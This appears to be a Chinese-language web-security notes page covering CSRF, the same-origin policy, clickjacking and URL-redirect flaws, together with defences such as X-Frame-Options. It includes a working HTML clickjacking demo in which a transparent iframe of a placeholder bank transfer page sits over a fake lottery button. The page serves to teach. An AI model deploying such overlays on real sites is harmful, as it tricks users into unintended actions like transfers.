Skip to content

CSRF

intro

Cross-site request forgery 简称为 CSRF ,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

  • 利用浏览器自动携带 Cookie

CSRF

同源策略

SOP(Same-origin policy) 浏览器的一项安全机制,限制一个源的文档或脚本如何与另一个源的资源进行交互。

同源策略与跨域访问


攻击链

CVE-2019-9787CSRF-XSS-RCE攻击链


其它类似攻击

点击劫持

点击劫持(Clickjacking)又名 UI- 覆盖攻击,因为该攻击会劫持用户的点击操作,所以被命名为点击劫持,这是一种视觉上的欺骗手段。

主要劫持目标是含有重要会话交互的页面,如银行交易页面、后台管理页面等。

在 Web 页面中隐藏了一个透明的 iframe,配合 opacityz-index等 CSS 属性, 用外层假页面诱导用户点击,实际上是在隐藏的 iframe 上触发了点击事件进行用户不知情的操作。

ClickjackingDemo
html
<!DOCTYPE html>
<html>

<head>
    <style>
        /* 1. 攻击者自己做的诱导层(在底层) */
        .underlay-game {
            position: absolute;
            top: 50px;
            left: 50px;
            width: 300px;
            height: 150px;
            background-color: #ff4757;
            color: white;
            text-align: center;
            line-height: 150px;
            font-size: 20px;
            font-weight: bold;
            border-radius: 8px;
            z-index: 1;
            /* 层级较低 */
        }

        /* 2. 被嵌入的真实网站 iframe(在顶层,且完全透明) */
        .hijack-iframe {
            position: absolute;
            top: 100px;
            /* 精确调整位置,使“确认”按钮对齐下方的“抽奖”位置 */
            left: 120px;
            width: 150px;
            height: 50px;

            /* 核心配合样式 */
            z-index: 9999;
            /* 必须在最顶层,抢夺点击事件 */
            opacity: 0;
            /* 设为 0 (完全透明),使用户看不见它 */

            border: none;
            cursor: pointer;
            /* 甚至可以改变鼠标指针,让用户毫无防备 */
        }
    </style>
</head>

<body>

    <!-- 视觉上用户看到的:一个好玩的抽奖按钮 -->
    <div class="underlay-game">
        点击这里 ➔ 免费抽奖!
    </div>

    <!-- 实际上覆盖在最上层的:受害者第三方网站(比如银行转账的“确认”按钮) -->
    <!-- 页面因为 opacity: 0 隐形了,但它依然能接收点击 -->
    <iframe class="hijack-iframe" src="https://vulnerable-bank.com/transfer-confirm-button"></iframe>

</body>

</html>

防范方式:在响应头中设置X-Frame-Options头部,可以设置三个值:

  • DENY:表示该页面不允许在 frame 中展示,即使在相同域名的页面中嵌套也不允许
  • sameorigin:表示该页面可以在相同域名页面的 frame 中展示
  • allow-from uri:表示该页面可以在指定来源的 frame 中展示

URL跳转漏洞

  • 服务端告知浏览器跳转时,未对传入的跳转地址进行合法性校验,导致用户浏览器跳转到钓鱼页面。
  • 防范方式:在 URL 链接里加入验证 token 。

Last updated:

Released under the MIT License.